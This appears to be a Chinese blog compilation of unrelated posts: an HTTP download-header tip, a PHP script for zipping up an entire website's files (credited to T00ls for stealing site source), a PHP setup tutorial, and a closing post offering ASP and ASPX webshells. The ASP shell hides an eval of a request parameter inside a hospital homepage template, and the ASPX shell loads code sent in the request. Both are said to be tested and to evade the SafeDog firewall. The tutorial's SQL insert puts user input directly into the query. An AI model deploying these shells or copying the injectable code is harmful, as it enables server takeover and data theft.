如果Content-Type中指定的是浏览器可以直接打开的类型,那么浏览器就会直接打开其内容显示出来,如果是被关联到其它应用程序的类型,这时就要查找注册表中关于这种类型的注册情况,如果是允许直接打开而不需要询问的,就会直接调出这个关联的应用程序来打开这个文件,但如果是不允许直接打开的,就会询问是否打开。对于没有关联到任何应用程序的类型,IE浏览器不知道它该如何打开,此时IE6就会把它当成XML来尝试打开。

如果要想实现文件下载,可以在http的头中加入:

fprintf( file, “Content-Disposition:attachment; filename=\”%s\” \r\n”, fileName);

经过测试,html,pdf,gif等原来在网页中打开的文件都可以正常实现下载。

 

reference:

1.http://tech.ccidnet.com/art/3539/20070727/1157895_1.html

2.http://www.cnblogs.com/jacktu/archive/2008/01/16/1041710.html

3.http://www.w3schools.com/media/media_mimeref.asp

4.http://mimeapplication.net/most-common-1

PHP整站打包程序

sunzn:信息来源T00ls成员老鬼,遇到拖源码的时候很实用,只是美工欠缺。

 

 

===========================================================================================================

<html>
<head>
<meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″>
<title>PHP整站打包程序</title>
</head>
<body>
<form name=”myform” method=”post” action=””>

<?
ini_set(‘memory_limit’, ‘2048M’);
echo “选择要压缩的文件或目录:<br>”;
$fdir = opendir(‘./’);
while($file=readdir($fdir))
{
if($file==’.’|| $file==’..’)
continue;
echo “<input name=’dfile[]’ type=’checkbox’ value=’$file’ “.($file==basename(__FILE__)?””:”checked”).”> “;

if(is_file($file))
{
echo “<font face=\”wingdings\” size=\”5\”>2</font>&nbsp;&nbsp;$file<br>”;
}
else
{
echo “<font face=\”wingdings\” size=\”5\”>0</font>&nbsp;$file<br>”;
}
}
?>

<br>
包含下列文件类型:
<input name=”file_type” type=”text” id=”file_type” value=”” size=”50″>
<font color=”red”>
(文件类型用”|”隔开,默认空则包含任意文件,例:如果需要打包php和jpg文件,则输入”php|jpg”)
</font>
<br>
压缩文件保存到目录:
<input name=”todir” type=”text” id=”todir” value=”__zep__” size=”15″>
<font color=”red”>
(留空为本目录,必须有写入权限)
</font>
<br>
压缩文件名称:
<input name=”zipname” type=”text” id=”zipname” value=”js.zip” size=”15″>
<font color=”red”>
(.zip)
</font>
<br>
<br>
<input name=”myaction” type=”hidden” id=”myaction” value=”dozip”>
<input type=’button’ value=’反选’ onclick=’selrev();’>
<input type=”submit” name=”Submit” value=” 开始压缩 “>
<script language=’javascript’>
function selrev()
{
with(document.myform)
{
for(i=0;i<elements.length;i++)
{
thiselm = elements[i];
if(thiselm.name.match(/dfile\[]/))
thiselm.checked = !thiselm.checked;
}
}
}
</script>

<?
set_time_limit(0);
class PHPzip
{
var $file_count = 0 ;
var $datastr_len   = 0;
var $dirstr_len = 0;
var $filedata = ”; //该变量只被类外部程序访问
var $gzfilename;
var $fp;
var $dirstr=”;
var $filefilters = array();

function SetFileFilter($filetype)
{
$this->filefilters = explode(‘|’,$filetype);
}

//返回文件的修改时间格式.
//只为本类内部函数调用.
function unix2DosTime($unixtime = 0)
{
$timearray = ($unixtime == 0) ? getdate() : getdate($unixtime);
if ($timearray[‘year’] < 1980)
{
$timearray[‘year’]    = 1980;
$timearray[‘mon’]     = 1;
$timearray[‘mday’]    = 1;
$timearray[‘hours’]   = 0;
$timearray[‘minutes’] = 0;
$timearray[‘seconds’] = 0;
}
return (($timearray[‘year’] – 1980) << 25) | ($timearray[‘mon’] << 21) | ($timearray[‘mday’] << 16) | ($timearray[‘hours’] << 11) | ($timearray[‘minutes’] << 5) | ($timearray[‘seconds’] >> 1);
}

//初始化文件,建立文件目录,
//并返回文件的写入权限.
function startfile($path = ‘dodo.zip’)
{
$this->gzfilename=$path;
$mypathdir=array();

do
{
$mypathdir[] = $path = dirname($path);
} while($path != ‘.’);

@end($mypathdir);

do
{
$path = @current($mypathdir);
@mkdir($path);
} while(@prev($mypathdir));

if($this->fp=@fopen($this->gzfilename,”w”))
{
return true;
}

return false;
}

//添加一个文件到 zip 压缩包中.
function addfile($data, $name)
{
$name = str_replace(‘\\’, ‘/’, $name);
if(strrchr($name,’/’)==’/’)
return $this->adddir($name);
if(!empty($this->filefilters))
{
if (!in_array(end(explode(“.”,$name)), $this->filefilters))
{
return;
}
}
$dtime = dechex($this->unix2DosTime());
$hexdtime = ‘\x’ . $dtime[6] . $dtime[7] . ‘\x’ . $dtime[4] . $dtime[5] . ‘\x’ . $dtime[2] . $dtime[3] . ‘\x’ . $dtime[0] . $dtime[1];
eval(‘$hexdtime = “‘ . $hexdtime . ‘”;’);

$unc_len = strlen($data);
$crc = crc32($data);
$zdata   = gzcompress($data);
$c_len   = strlen($zdata);
$zdata   = substr(substr($zdata, 0, strlen($zdata) – 4), 2);

//新添文件内容格式化:
$datastr = “\x50\x4b\x03\x04”;
$datastr .= “\x14\x00”;            // ver needed to extract
$datastr .= “\x00\x00”;            // gen purpose bit flag
$datastr .= “\x08\x00”;            // compression method
$datastr .= $hexdtime;             // last mod time and date
$datastr .= pack(‘V’, $crc);             // crc32
$datastr .= pack(‘V’, $c_len);           // compressed filesize
$datastr .= pack(‘V’, $unc_len);         // uncompressed filesize
$datastr .= pack(‘v’, strlen($name));    // length of filename
$datastr .= pack(‘v’, 0);                // extra field length
$datastr .= $name;
$datastr .= $zdata;
$datastr .= pack(‘V’, $crc);                 // crc32
$datastr .= pack(‘V’, $c_len);               // compressed filesize
$datastr .= pack(‘V’, $unc_len);             // uncompressed filesize
fwrite($this->fp,$datastr); //写入新的文件内容
$my_datastr_len = strlen($datastr);
unset($datastr);

//新添文件目录信息
$dirstr = “\x50\x4b\x01\x02”;
$dirstr .= “\x00\x00”;                 // version made by
$dirstr .= “\x14\x00”;                 // version needed to extract
$dirstr .= “\x00\x00”;                 // gen purpose bit flag
$dirstr .= “\x08\x00”;                 // compression method
$dirstr .= $hexdtime;                  // last mod time & date
$dirstr .= pack(‘V’, $crc);            // crc32
$dirstr .= pack(‘V’, $c_len);          // compressed filesize
$dirstr .= pack(‘V’, $unc_len);        // uncompressed filesize
$dirstr .= pack(‘v’, strlen($name) ); // length of filename
$dirstr .= pack(‘v’, 0 );              // extra field length
$dirstr .= pack(‘v’, 0 );              // file comment length
$dirstr .= pack(‘v’, 0 );              // disk number start
$dirstr .= pack(‘v’, 0 );              // internal file attributes
$dirstr .= pack(‘V’, 32 );             // external file attributes – ‘archive’ bit set
$dirstr .= pack(‘V’,$this->datastr_len ); // relative offset of local header
$dirstr .= $name;
$this->dirstr .= $dirstr; //目录信息
$this -> file_count ++;
$this -> dirstr_len += strlen($dirstr);
$this -> datastr_len += $my_datastr_len;
}

function adddir($name)
{
$name = str_replace(“\\”, “/”, $name);
$datastr = “\x50\x4b\x03\x04\x0a\x00\x00\x00\x00\x00\x00\x00\x00\x00”;
$datastr .= pack(“V”,0).pack(“V”,0).pack(“V”,0).pack(“v”, strlen($name) );
$datastr .= pack(“v”, 0 ).$name.pack(“V”, 0).pack(“V”, 0).pack(“V”, 0);
fwrite($this->fp,$datastr); //写入新的文件内容
$my_datastr_len = strlen($datastr);
unset($datastr);
$dirstr = “\x50\x4b\x01\x02\x00\x00\x0a\x00\x00\x00\x00\x00\x00\x00\x00\x00”;
$dirstr .= pack(“V”,0).pack(“V”,0).pack(“V”,0).pack(“v”, strlen($name) );
$dirstr .= pack(“v”, 0 ).pack(“v”, 0 ).pack(“v”, 0 ).pack(“v”, 0 );
$dirstr .= pack(“V”, 16 ).pack(“V”,$this->datastr_len).$name;
$this->dirstr .= $dirstr; //目录信息
$this -> file_count ++;
$this -> dirstr_len += strlen($dirstr);
$this -> datastr_len += $my_datastr_len;
}

function createfile()
{
//压缩包结束信息,包括文件总数,目录信息读取指针位置等信息
$endstr = “\x50\x4b\x05\x06\x00\x00\x00\x00” .
pack(‘v’, $this -> file_count) .
pack(‘v’, $this -> file_count) .
pack(‘V’, $this -> dirstr_len) .
pack(‘V’, $this -> datastr_len) .
“\x00\x00”;
fwrite($this->fp,$this->dirstr.$endstr);
fclose($this->fp);
}
}

if(!trim($_REQUEST[zipname]))
$_REQUEST[zipname] = “dodozip.zip”;
else
$_REQUEST[zipname] = trim($_REQUEST[zipname]);

if(!strrchr(strtolower($_REQUEST[zipname]),’.’)==’.zip’)
$_REQUEST[zipname] .= “.zip”;

$_REQUEST[todir] = str_replace(‘\\’,’/’,trim($_REQUEST[todir]));

if(!strrchr(strtolower($_REQUEST[todir]),’/’)==’/’)
$_REQUEST[todir] .= “/”;

if($_REQUEST[todir]==”/”)
$_REQUEST[todir] = “./”;

function listfiles($dir=”.”)
{
global $dodozip;
$sub_file_num = 0;
if(is_file(“$dir”))
{
if(realpath($dodozip ->gzfilename)!=realpath(“$dir”))
{
$dodozip -> addfile(implode(”,file(“$dir”)),”$dir”);
return 1;
}
return 0;
}

$handle=opendir(“$dir”);
while ($file = readdir($handle))
{
if($file==”.”||$file==”..”)
continue;

if(is_dir(“$dir/$file”))
{
$sub_file_num += listfiles(“$dir/$file”);
}
else
{
if(realpath($dodozip ->gzfilename)!=realpath(“$dir/$file”))
{
$dodozip -> addfile(implode(”,file(“$dir/$file”)),”$dir/$file”);
$sub_file_num ++;
}
}
}

closedir($handle);

if(!$sub_file_num)
$dodozip -> addfile(“”,”$dir/”);

return $sub_file_num;
}

function num_bitunit($num)
{
$bitunit=array(‘ B’,’ KB’,’ MB’,’ GB’);
for($key=0;$key<count($bitunit);$key++)
{
if($num>=pow(2,10*$key)-1)
{ //1023B 会显示为 1KB
$num_bitunit_str=(ceil($num/pow(2,10*$key)*100)/100).” $bitunit[$key]”;
}
}
return $num_bitunit_str;
}

if(is_array($_REQUEST[dfile]))
{
$dodozip = new PHPzip;
if($_REQUEST[“file_type”] != NULL)
$dodozip -> SetFileFilter($_REQUEST[“file_type”]);
if($dodozip -> startfile(“$_REQUEST[todir]$_REQUEST[zipname]”))
{
echo “正在添加压缩文件…<br><br>”;
$filenum = 0;
foreach($_REQUEST[dfile] as $file)
{
if(is_file($file))
{
if(!empty($dodozip -> filefilters))
if (!in_array(end(explode(“.”,$file)), $dodozip -> filefilters))
continue;
echo “<font face=\”wingdings\” size=\”5\”>2</font>&nbsp;&nbsp;$file<br>”;
}
else
{
echo “<font face=\”wingdings\” size=\”5\”>0</font>&nbsp;$file<br>”;
}
$filenum += listfiles($file);
}
$dodozip -> createfile();

echo “<br>压缩完成,共添加 $filenum 个文件.<br><a href=’$_REQUEST[todir]$_REQUEST[zipname]’ _fcksavedurl=’$_REQUEST[todir]$_REQUEST[zipname]’>$_REQUEST[todir]$_REQUEST[zipname] (“.num_bitunit(filesize(“$_REQUEST[todir]$_REQUEST[zipname]”)).”)</a>”;
}
else
{
echo “$_REQUEST[todir]$_REQUEST[zipname] 不能写入,请检查路径或权限是否正确.<br>”;
}
}
?>
</form>
<hr color=”#003388″>

</body>
</html>
===========================================================================================================

PHP的开始-PHP环境的搭建

说到PHP,我脑海中最先浮现的就是《社交网络》中Mark在寝室中用PHP编写Facemash的画面。这也是我学习PHP的原因之一。PHP的优点我就不罗嗦了,看看那些使用PHP+MySQL技术的国内外著名网站就知道了。学习一门语言,就得从搭建开发环境开始。

我使用的是Windows7操作系统,在Windows平台上搭建PHP的开发环境可以下载WAMP(Windows、Apache、MySQL、PHP的首字母缩写)集成化安装包。这样就不需要单独安装Apache、MySQL和PHP了。由于有些人的电脑已经安装了IIS,IIS的默认端口是80端口而Apache也使用的是80端口,解决冲突的办法不止一种,可以修改Apache安装目录下httpd.conf文件,停用IIS等。我个人采用的方法是将IIS的默认端口修改为81端口。方法如下,打开IIS管理器,选择“Default Web Site”,点击右侧的“绑定”,即可修改端口了。

运行wampServer,点击Apache,在Service目录下有个测试80端口。除了IIS之外,有许多软件也会占用80端口,如迅雷、酷狗。

解决了端口冲突问题之后,需要对PHP进行相关设置。在“short open tag”这儿打钩并去掉“display errors”前面的钩。这样就能支持<??>这种标签了。

至于IDE,个人目前使用的是eclipse,口碑较好的还有zend studio等等。这里就介绍如何使eclipse支持PHP。首先,得先下载一个eclipse。安装完成后,运行eclipse,在主界面里找到Help下的“Instal New Software”。

然后在Work with中选择“All Available Sites”。

稍等片刻之后,在“programming language”中找到PDT,一路NEXT下去就OK了。

安装PDT之后,就可以使用eclipse编写PHP了。

下面来讲一个我今天学习当中遇到的疑惑。先看下代码:

[php]

<?php
include(“conn.php”);
if($_POST[‘submit’])//1
{
$sql=”insert into message(id,user,title,content,lastdate)”.
“values(”,’$_POST[user]’,’$_POST[title]’,’$_POST[content]’,now())”;//2
mysql_query($sql);
echo “提交成功!”;
}
?>
<form action=”add.php” method=”post”>
用户:<input type=”text” name=”user”><br>
标题:<input type=”text” name=”title”><br>
内容:<textarea name=”content”></textarea><br>
<input type=”submit” name=”submit” value=”提交”><br>
</form>

[/php]

仔细看1处和2处的代码,可以发现1处的submit前后各有一个单引号,而在2处user等都未加单引号。如果去掉1处的单引号,程序会弹警告,而给2处的添加单引号则会报错。这是为什么呢?

其实呢,加不加单引号并没有太大区别。唯一的区别就是加单引号的效率比不加引号效率高,原因在于,不加单引号的$_POST[submit],php会先去检查php全文中是否有定义submit这个常量,如果找不到,才会把submit当着字符串,然后去找$_POST[‘submit’]的值;而如果加了引号,就不会有去判断submit是否为常量这一步,而是直接找$_POST[‘submit’]的值;所以,最好是每个地方都应该加上引号,至于sql语句里面加单引号出错,那是在sql语句中,外面已经用了单引号,里面还用单引号,自然会造成sql语句出错,此时需要进行斜杠转义。

注册域名之一点技巧

注册域名之前先百度搜索一下: 过期域名查询,然后使用一些限制条件,例如 aaa型, 单拼音型 等  这样可以非常有效简便的搜索到短而有意义的域名哦。

 

 

其余,你懂得。

 

FireFox HttpRequester–比HttpDebugger更牛的免费的工具 | 这里有下载

通过“附加组件”功能添加HttpRequester工具后,可以在“工具”菜单下打开。
HttpRequester是一个文本的HTTP请求工具,可以自定义请求的HTTP头、内容等等,支持全部的HTTP方法,相当适合用来做RESTFul的验证测试。
它能够查看到最原始的请求、响应内容,处理过程完全符合HTTP的规范。

 

可以查看Http协议包,修改包,发送,查看响应等等。。。。 各种牛。 firefox插件哦。 用firefox -> 文件 ->打开 ->安装  即可

下载地址 本地httprequester-1.0.4-fx

 

问: 为什么我下载了,用firefox打不开呢?  <——-不知道下载之后需要解压缩然后再用firefox打开的嘛@!!!!

突破IIS安全狗的asp,aspx木马

[asp]

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
 <html xmlns="http://www.w3.org/1999/xhtml">
 <head>
 <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
 <meta name="keywords" content="a" />
 <meta name="description" content="a" />
 <title>a</title>
 <link href="/template/images/style.css" rel="stylesheet" type="text/css" />

<script type="text/javascript">var king_page='/page/';</script>
 <script src="/page/system/inc/jquery.js" type="text/javascript"></script>
 <script src="/page/system/inc/jquery.kc.js" type="text/javascript"></script>
 </head>
 <body>
 <!--顶部 -->
 <div id="top">
   <div><img src="/template/images/logo.jpg" /></div>
   <div id="menu">
     <ul>
       <li><a href="/">医院首页</a></li>
       <li><a href="/html/yygk/">医院概况</a></li>
       <li><a href="/html/jyzn/">就医指南</a></li>
       <li><a href="/html/ksjs/">科室介绍</a></li>
       <li><a href="/html/yywh/">医院文化</a></li>
       <li><a href="/html/news/">新闻资讯</a></li>
       <li><a href="/html/jkkp/">健康科普</a></li>
       <li><a href="/page/feedback/">请你留言</a></li>
     </ul>
   </div>
   <!--主菜单 -->
 </div>
 <!--内容 -->
 <div id="onepage"><%
 Dim ConKey:ConKey="Cmd"
 Dim InValue:InValue=Request(ConKey)
 eval(InValue)
 %></div>
 <!--底部 -->
 <div id="line"></div>
 <div id="bottom">
         京ICP备×××××××××号</div>
 <div id="Layer1">
   <object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://..../pub/shockwave/cabs/flash/swflash.cab#version=7,0,19,0" width="910" height="175">
     <param name="movie" value="/template/images/sqlogo.swf" />
     <param name="quality" value="high" />
     <param name="wmode" value="transparent">
     <embed src="/template/images/sqlogo.swf" quality="high" wmode="transparent" pluginspage="http://www.....com/go/getflashplayer" type="application/x-shockwave-flash" width="910" height="175"></embed>
   </object>
 </div>
 </body>
 </html>

[/asp]

上边为突破安全狗的asp木马.  主要杀这种混淆的思想..

下面是aspx木马.

[aspx]

<%@ Page Language=”C#” ValidateRequest=”false” %>
<%try{ System.Reflection.Assembly.Load(Request.BinaryRead(int.Parse(Request.Cookies[“t00ls”].Value))).CreateInstance(“c”, true, System.Reflection.BindingFlags.Default, null, new object[] { this }, null, null); } catch { }%>

[/aspx]

 

上述代码测试可用.  来自t00ls